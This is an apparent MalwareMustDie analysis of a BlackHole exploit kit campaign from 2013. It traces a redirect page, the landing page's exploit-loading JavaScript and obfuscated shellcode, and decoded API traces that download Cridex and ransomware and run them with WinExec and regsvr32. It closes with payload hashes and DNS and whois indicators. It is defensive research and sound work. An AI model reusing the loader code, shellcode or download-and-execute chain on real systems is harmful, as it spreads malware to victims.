========================================================= Title: #MalwareMustDie - ejjiipprr,ru : GeoIP Cridex + Ransomware #MalwareMustDie! @unixfreaxjp /malware]$ date Tue Feb 19 15:26:25 JST 2013 BlackHole Exploit Kit with Double infector: Cridex & FakeAV/Ransomer (depends on your request IP) Landing page: h00p://ejjiipprr,ru:8080/forum/links/public_version,php IP: 195・210・47・208, 50・31・1・104, 66・249・23・64 payloads: 2013/02/19 14:07 ff74196d1aacd629ee7af6955c837a24 94,208 readme・exe (cridex) 2013/02/19 14:06 c182dfc3418573d61fdc7dcc11eb319d 114,688 info・exe (ransomer) Landing page's PLuginDetect: 1: http://pastebin.com/mCJy7GEn 2: http://pastebin.com/LSUCnvN6 ========================================================= //---------changes detected in today's infector・・・ @unixfreaxjp /malware]$ date Tue Feb 19 14:17:40 JST 2013 @unixfreaxjp /malware]$ curl hxxp://webworks・investorship・co・jp/page-329・htm <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Please wait</title> </head> <body> <h1><b>Please wait a moment ・・・ You will be forwarded・・・ </h1></b> <h4>Internet Explorer / Mozilla Firefox compatible only</h4><br> <script> var1=49; var2=var1; if(var1==var2) {document・location="hxxp://ejjiipprr,ru:8080/forum/links/public_version,php";} </script> </body> @unixfreaxjp /malware]$ myget --head -O/dev/null -d hxxp://webworks・investorship・co・jp/page-329・htm DEBUG output freebsd9・1・ : HTTP/1・1 200 OK Date: Tue, 19 Feb 2013 05:17:54 GMT Server: Apache Last-Modified: Tue, 19 Feb 2013 05:06:13 GMT <====== //-----------------download-------- --12:56:52-- h00p://webworks・investorship・co・jp/page-329・htm => `page-329・htm' Resolving webworks・investorship・co・jp・・・ seconds 0・00, 117・20・100・110 Caching webworks・investorship・co・jp => 117・20・100・110 Connecting to webworks・investorship・co・jp|117・20・100・110|:80・・・ seconds 0・00, connected・ : GET /page-329・htm HTTP/1・0 Host: webworks・investorship・co・jp HTTP request sent, awaiting response・・・ : HTTP/1・1 200 OK Date: Tue, 19 Feb 2013 03:56:44 GMT Server: Apache Last-Modified: Tue, 19 Feb 2013 03:42:14 GMT ETag: "11850611-1b1-5122f496" Accept-Ranges: bytes Content-Length: 433 Connection: close Content-Type: text/html : 200 OK Length: 433 [text/html] 12:56:52 (4・99 MB/s) - `page-329・htm' saved [433/433] //----------------cat------------------- $ cat page-329・htm <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Please wait</title> </head> <body> <h1><b>Please wait a moment ・・・ You will be forwarded・・・ </h1></b> <h4>Internet Explorer / Mozilla Firefox compatible only</h4><br> <script> var1=49; var2=var1; if(var1==var2) {document・location="h00p://ejjiipprr,ru:8080/forum/links/public_version,php";} </script> //------------- get the landing page---------------- // cant connect directly, got 502, looks I got blocked by these moronz now・・ --13:02:20-- h00p://ejjiipprr,ru:8080/forum/links/public_version,php => `public_version,php・1' Resolving ejjiipprr,ru・・・ seconds 0・00, 195・210・47・208, 50・31・1・104, 66・249・23・64 Caching ejjiipprr,ru => 195・210・47・208 50・31・1・104 66・249・23・64 Connecting to ejjiipprr,ru|195・210・47・208|:8080・・・ seconds 0・00, connected・ : HTTP/1・1 502 Bad Gateway Server: nginx/1・0・10 Date: Tue, 19 Feb 2013 04:02:13 GMT Content-Type: text/html; charset=CP-1251 Connection: keep-alive X-Powered-By: PHP/5・3・18-1~dotdeb・0 Vary: Accept-Encoding Content-Length: 0 // retried・・・・・(bouncer) --13:00:55-- h00p://ejjiipprr,ru:8080/forum/links/public_version,php => `public_version,php' Connecting to myproxy:myport・・・ seconds 0・00, connected・ : GET h00p://ejjiipprr,ru:8080/forum/links/public_version,php HTTP/1・0 Referer: h00p://malwaremustdie・org Host: ejjiipprr,ru:8080 Connection: keep-alive Proxy request sent, awaiting response・・・ : HTTP/1・1 200 OK Server: nginx/1・0・10 Date: Tue, 19 Feb 2013 04:00:59 GMT Content-Type: text/html; charset=CP-1251 Connection: close X-Powered-By: PHP/5・3・18-1~dotdeb・0 Vary: Accept-Encoding : 200 OK Length: unspecified [text/html] 13:01:09 (120・01 KB/s) - `public_version,php' saved [156929] <=== take one・・・ // retried・・・(gatling IP gunz・・) --13:05:53-- h00p://ejjiipprr,ru:8080/forum/links/public_version,php => `public_version,php' Resolving ejjiipprr,ru・・・ 66・249・23・64, 50・31・1・104, 195・210・47・208 Caching ejjiipprr,ru => 66・249・23・64 50・31・1・104 195・210・47・208 Connecting to ejjiipprr,ru|66・249・23・64|:8080・・・ connected・ : GET /forum/links/public_version,php HTTP/1・0 : Host: ejjiipprr,ru:8080 HTTP request sent, awaiting response・・・ : HTTP/1・1 200 OK Server: nginx/1・0・10 Date: Tue, 19 Feb 2013 04:05:55 GMT Content-Type: text/html; charset=CP-1251 Connection: close X-Powered-By: PHP/5・3・18-1~dotdeb・0 Vary: Accept-Encoding : 200 OK Length: unspecified [text/html] 13:05:56 (53・84 KB/s) - `public_version,php' saved [36665] //--------two landing page(S)------ 2013/02/19 13:17 cdb228f7ee3a261d4f3a5d4b723c085a 57,675 public_version-2,php 2013/02/19 13:01 f607dcc1b5a95a284238741f886940ac 56,929 public_version,php //------1st plugin detect・・・・・ // PDFs・・・・ function p1(){ var d = document・createElement("object"); d・setAttribute("data", "/forum/links/public_version,php?edayjh=" + x("de300") + "&mnnq=" + x("lju") + "&tagwmov=1j:33:32:1l:1g:1i:1o:1n:1o:1i&xllpos=" + x(pdfver・join("・"))); d・setAttribute("type", "application/pdf"); document・body・appendChild(d); } function p2(){ var d = document・createElement("object"); d・setAttribute("data", "/forum/links/public_version,php?lwgbb=" + x("de300") + "&lgltly=" + x("r") + "&mlqi=1j:33:32:1l:1g:1i:1o:1n:1o:1i&eshngcjb=" + x(pdfver・join( "・"))); d・setAttribute("type", "application/pdf"); document・body・appendChild(d); } // SWF function getCN(){ return "/forum/links/public_version,php?zivqqsfs=" + x("de300") + "&ljpfu=" + x("hsosw") + "&ddpp=1j:33:32:1l:1g:1i:1o:1n:1o:1i&benbw=lvkkbwv" } function ff2(){ var oSpan = document・createElement("span"); var url = "/forum/links/public_version,php?bbbiywar=" + x("de300") + "&wisduk=" + x( "toiu") + "&dej=1j:33:32:1l:1g:1i:1o:1n:1o:1i&mkej=fvgwpin"; oSpan・innerHTML = " <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id '><param name='movie' value='" + url + " ' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed src='" + url + " ' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash ' width='10' height='10'></embed></object>"; document・body・appendChild(oSpan); } // shellcode function getshellcode(){ var a = "828・・1414!%" ・split("")・reverse()・join(""); return a["replace"](/\%!/g, "%" + "u") } //------ second plugin detect・・・ // PDFs・・・・(none!) function p1(){ return false; } function p2(){ return false; } function p3(){ return false; } // SWF・・・・ function getCN(){ return "/forum/links/public_version,php?dxfcb=" + x("50f08") + "&arfxjm=" + x("qfsnn") + "&sxclfr=2v:1k:1m:32:33:1k:1k:31:1j:1o&gakchxt=hxekxtdj" } function ff2(){ var oSpan = document・createElement("span"); var url = "/forum/links/public_version,php?cmfzmg=" + x("50f08") + "&zvdjvx=" + x("pixr" ) + "&pxbu=2v:1k:1m:32:33:1k:1k:31:1j:1o&bmobk=jmb"; oSpan・innerHTML = " <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id '><param name='movie' value='" + url + " ' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed src='" + url + " ' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash ' width='10' height='10'></embed></object>"; document・body・appendChild(oSpan); } // shellcode・・・・ function getshellcode(){ var a = "8282・・%1414!%" ・split("")・reverse()・join(""); return a["replace"](/\%!/g, "%" + "u") } //-------------------cracks engine・・・・ // let's skip the infector this time・・ we must check whether they changed the // malware payloads or not・・ // // ======================================== // get the deobs + crack both shellcodes: // ======================================== var shellcode1="8282!%51a4!%14d5!%O4eO・・ eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d・・ !%b1a1!%e5a5!%cOc2!%fec6!%f4b5!%a5d4!%・・ 36!%e43a!%b25f!%67cO!%673a!%d5ec!%3173・・ O185!%cfbe!%4ecf!%6638!%1414!%1414!%"; var shellcode2="8282!%51f4!%34d5!%54eO・・ eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d・・ !%b1a1!%e5a5!%cOc2!%fec6!%f4b5!%a5d4!%・・ 36!%e43a!%b25f!%67cO!%673a!%d5ec!%3173・・ O185!%cfbe!%4ecf!%6638!%1414!%1414!%"; var a = shellcode1・split("")・reverse()・join(""); var xxx= a["replace"](/\%!/g, "%" + "u"); document・write(xxx); var b = shellcode2・split("")・reverse()・join(""); var yyy= b["replace"](/\%!/g, "%" + "u"); document・write("\n\n"+yyy); //Output: %u4141%u4141%u8366%ufce4%uebfc%u581O%uc93・・ 13%uce5d%ua376%uOc76%uf52b%ua34e%u6324%u6・・ 4d5a%u5b4f%u6cef%u2cOc%u5a5e%u1a1b%u6cef%・・ %ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e5・・ 4O%u5d41%u4a15%u2828 %u4141%u4141%u8366%ufce4%uebfc%u581O%uc93・・ 13%uce5d%ua376%uOc76%uf52b%ua34e%u6324%u6・・ 4d5a%u5b4f%u6cef%u2cOc%u5a5e%u1a1b%u6cef%・・ %ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e5・・ 45%u5d43%u4f15%u2828 // let's mix the shellcodes now ;-))) experimental! %u4141 % u4141 % u8366 % ufce4 % uebfc % u581O・・ u68a3 % ua324 % u3458 % ua37e % u2O5e % uf31b ・・ u64c3 % u7e79 % u5da3 % ua314 % u1d5c % u2b5O ・・ u3713 % uce5d % ua376 % uOc76 % uf52b % ua34e ・・ u2b5c % uc3be % ua3db % u2O4O % udfa3 % u2d42 ・・ uab38 % u2deb % ucbd7 % u474O % u2846 % u4O28 ・・ uOc2c % u4d5a % u5b4f % u6cef % u2cOc % u5a5e ・・ u6cef % u2d35 % u4cO6 % u4444 % u6cee % u2135 ・・ u422c % uab28 % u24c3 % ud77b % u2c7e % uebab ・・ ubOc4 % ua2d6 % ua126 % u2947 % u1b95 % ua2e2 ・・ uO718 % u474e % u5d5a % uO745 % u4144 % u4346 ・・ u1912 % u124e % u4e19 % u41Oe % u154d % u4219 ・・ u5OOe % u155d % uOe4O % u5d41 % u4a15 % u2828 ・・ uccad % u1c5d % u77c1 % ue81b % ua34c % u1868 ・・ u2e11 % ud35d % u1caf % uadOc % u5dcc % uc179 ・・ uda1O % u2O5c % ue3e9 % u2b25 % u68f2 % ud9c3 ・・ ueb71 % u7bc3 % ua385 % uO84O % u55a8 % u1b24 ・・ u2828 % uab78 % u31e8 % u7d78 % uc4a3 % u76a3 ・・ ua95a % u2cc4 % u2829 % ua528 % uOc74 % uef24 ・・ u1bcO % u79e1 % u6cef % u2835 % u585f % u5c4a ・・ u7ed7 % uad3c % u5de8 % u423e % u7b28 % u7ed7 ・・ ud7d6 % u2O7e % ub4cO % ud7d6 % ua6d7 % u2666 ・・ u5841 % u5a58 % uO65a % u5d5a % u1O12 % u1O18 ・・ u5O17 % u154e % u4319 % u1912 % u124e % u1b1b ・・ u1219 % u4219 % u1912 % uOe47 % u154e % u4319 ・・ // I doubt there will be ascii url so・・・ // compile it・・・ get the objects, disasm it and match it with the windows API, see this double scheme works or not・・・ 0x7c801ad9 kernel32・VirtualProtect(lpAddress=0x4020cf, dwSize=255) 0x7c801d7b kernel32・LoadLibraryA(lpFileName=urlmon) 0x7c835dfa kernel32・GetTempPathA(lpBuffer=0x22fc60, nBufferLength=248, [lpBuffer=C:\DOCUME~1\Administrator\LOCALS~1\Temp\]) 0x1a494bbe urlmon・URLDownloadToFileA(pCaller=0, szURL=h00p://ejjiipprr,ru:8080/forum/links/public_version,php?xf=1k:1f:33:1f:1n&ne=2v:1k:1m:32:33:1k:1k:31:1j:1o&f=1k&df=m&ku=g, lpfnCB=0x0, szFileName=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0・dll) 0x7c86250d kernel32・WinExec(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0・dll, uCmdShow=0) 0x7c86250d kernel32・WinExec(lpCmdLine=regsvr32 -s C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0・dll, uCmdShow=0) 0x7c81cb3b kernel32・TerminateThread(dwExitCode=0) 0x7c801ad9 kernel32・VirtualProtect(lpAddress=0x4020cf, dwSize=255) 0x7c801d7b kernel32・LoadLibraryA(lpFileName=urlmon) 0x7c835dfa kernel32・GetTempPathA(lpBuffer=0x22fc60, nBufferLength=248, [lpBuffer=C:\DOCUME~1\Administrator\LOCALS~1\Temp\]) 0x1a494bbe urlmon・URLDownloadToFileA(pCaller=0, szURL=h00p://ejjiipprr,ru:8080/forum/links/public_version,php?kf=31:32:1i:1f:1f&ie=1j:33:32:1l:1g:1i:1o:1n:1o:1i&l=1k&xu=h&iu=b, lpfnCB=0x0, szFileName=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0・dll) 0x7c86250d kernel32・WinExec(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0・dll, uCmdShow=0) 0x7c86250d kernel32・WinExec(lpCmdLine=regsvr32 -s C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0・dll, uCmdShow=0) 0x7c81cb3b kernel32・TerminateThread(dwExitCode=0) // it works :-)) good! // fetch the mess・・・ --14:07:23-- h00p://ejjiipprr,ru:8080/forum/links/public_version,php?xf=1k:1f:33:1f:1n&ne=2v:1k:1m:32:33:1k:1k:31:1j:1o&f=1k&df=m&ku=g => `public_version,php@xf=1k%3A1f%3A33%3A1f%3A1n&ne=2v%3A1k%3A1m%3A32%3A33%3A1k%3A1k%3A31%3A1j%3A1o&f=1k&df=m&ku=g' Resolving ejjiipprr,ru・・・ seconds 0・00, 50・31・1・104, 66・249・23・64, 195・210・47・208 Caching ejjiipprr,ru => 50・31・1・104 66・249・23・64 195・210・47・208 Connecting to ejjiipprr,ru|50・31・1・104|:8080・・・ seconds 0・00, connected・ : GET /forum/links/public_version,php?xf=1k:1f:33:1f:1n&ne=2v:1k:1m:32:33:1k:1k:31:1j:1o&f=1k&df=m&ku=g HTTP/1・0 Referer: h00p://malwaremustdie・org User-Agent: #Smash greedy malware moronz! Host: ejjiipprr,ru:8080 HTTP request sent, awaiting response・・・ : HTTP/1・1 200 OK Server: nginx/1・0・10 Date: Tue, 19 Feb 2013 05:07:16 GMT Content-Type: application/x-msdownload Connection: keep-alive X-Powered-By: PHP/5・3・18-1~dotdeb・0 Pragma: public Expires: Tue, 19 Feb 2013 05:07:16 GMT Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="readme・exe" Content-Transfer-Encoding: binary Content-Length: 94208 : 200 OK Length: 94,208 (92K) [application/x-msdownload] 100%[====================================>] 94,208 98・81K/s 14:07:25 (98・48 KB/s) - `public_version,php@xf=1k%3A1f%3A33%3A1f%3A1n&ne=2v%3A1k%3A1m%3A32%3A33%3A1k%3A1k%3A31%3A1j%3A1o&f=1k&df=m&ku=g' saved [94208/94208] : GET /forum/links/public_version,php?kf=31:32:1i:1f:1f&ie=1j:33:32:1l:1g:1i:1o:1n:1o:1i&l=1k&xu=h&iu=b HTTP/1・0 Referer: h00p://malwaremustdie・org User-Agent: #Smash greedy malware moronz! Host: ejjiipprr,ru:8080 HTTP request sent, awaiting response・・・ : HTTP/1・1 200 OK Server: nginx/1・0・10 Date: Tue, 19 Feb 2013 05:06:40 GMT Content-Type: application/x-msdownload Connection: keep-alive X-Powered-By: PHP/5・3・18-1~dotdeb・0 Pragma: public Expires: Tue, 19 Feb 2013 05:06:40 GMT Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="info・exe" Content-Transfer-Encoding: binary Content-Length: 114688 : 200 OK Length: 114,688 (112K) [application/x-msdownload] 100%[====================================>] 114,688 107・17K/s 14:06:50 (106・95 KB/s) - `public_version,php@kf=31%3A32%3A1i%3A1f%3A1f&ie=1j%3A33%3A32%3A1l%3A1g%3A1i%3A1o%3A1n%3A1o%3A1i&l=1k&xu=h&iu=b' saved [114688/114688] // samples evidence・・・ info・exe c182dfc3418573d61fdc7dcc11eb319d readme・exe ff74196d1aacd629ee7af6955c837a24 // you can see the snapshot of downloaded binary here・・・ // the smaller size is Cridex and the Bigger size is Ransomer/FakeAlert http://urlquery・net/report・php?id=1039316 http://urlquery・net/report・php?id=1039314 // or the VT checks here・・・ https://www・virustotal・com/en/file/3cb0a852b902c1beffa70e6405825dfe71ad28141f8bcc369880af9f7e692b84/analysis/1361252424/ https://www・virustotal・com/en/file/6cd8ae852bd023982b292a714d3e1582537606cc655a74c1fef152742c215e00/analysis/1361252413/ // and anubis for your conveniences: http://anubis・iseclab・org/?action=result&task_id=1ab45db359838bee4dd1cfc29c34675ef http://anubis・iseclab・org/?action=result&task_id=148f40a21af53f524693c43eb52b6da6e // ================================ // NETWORK ANALYSIS //================================== // IP: ejjiipprr,ru:8080 46,175,224,21 - 195,210,47,208 - 50,31,1,104 - 66,249,23,64 A 195・210・47・208, 50・31・1・104, 66・249・23・64 // SOA: primary name server = ns1・ejjiipprr,ru responsible mail addr = root・ejjiipprr,ru serial = 2012010101 refresh = 604800 (7 days) retry = 1800 (30 mins) expire = 1800 (30 mins) default TTL = 60 (1 min) // evil ns lists: ns1・ejjiipprr,ru・ 1038 IN A 41・168・5・140 ns2・ejjiipprr,ru・ 1038 IN A 110・164・58・250 ns3・ejjiipprr,ru・ 1038 IN A 210・71・250・131 ns4・ejjiipprr,ru・ 1038 IN A 203・171・234・53 ns5・ejjiipprr,ru・ 60 IN A 110・164・58・250 ns6・ejjiipprr,ru・ 60 IN A 41・168・5・140 // Whois: domain: EJJIIPPRR,ru nserver: ns1・ejjiipprr,ru・ 41・168・5・140 nserver: ns2・ejjiipprr,ru・ 110・164・58・250 nserver: ns3・ejjiipprr,ru・ 210・71・250・131 nserver: ns4・ejjiipprr,ru・ 203・171・234・53 state: REGISTERED, DELEGATED, UNVERIFIED person: Private Person registrar: NAUNET-REG-RIPN admin-contact: https://client・naunet,ru/c/whoiscontact created: 2013・02・11 paid-till: 2014・02・11 free-date: 2014・03・14 source: TCI // Recent current malware moronz group used domains (historical records) // to be used as reference: emaianem,ru A 66・249・23・64 enakinukia,ru A 46・175・224・21 exibonapa,ru A 46・175・224・21 esigbsoahd,ru A 46・175・224・21 egihurinak,ru A 46・175・224・21 exiansik,ru A 46・175・224・21 emaianem,ru A 46・175・224・21 estipaindo,ru A 46・175・224・21 epilarikko,ru A 46・175・224・21 emalenoko,ru A 46・175・224・21 eminakotpr,ru A 46・175・224・2 enakinukia,ru A 195・210・47・208 exibonapa,ru A 195・210・47・208 esigbsoahd,ru A 195・210・47・208 epianokif,ru A 195・210・47・208 elistof,ru A 195・210・47・208 egihurinak,ru A 195・210・47・208 exiansik,ru A 195・210・47・208 ewinhdutik,ru A 195・210・47・208 efjjdopkam,ru A 195・210・47・208 eipuonam,ru A 195・210・47・208 emaianem,ru A 195・210・47・208 epionkalom,ru A 195・210・47・208 estipaindo,ru A 195・210・47・208 ejiposhhgio,ru A 195・210・47・208 epilarikko,ru A 195・210・47・208 emalenoko,ru A 195・210・47・208 eminakotpr,ru A 195・210・47・208 // all are using same evil dns : 41・168・5・140 110・164・58・250 210・71・250・131 203・171・234・53 110・164・58・250 41・168・5・140 ------ #MalwareMustDie!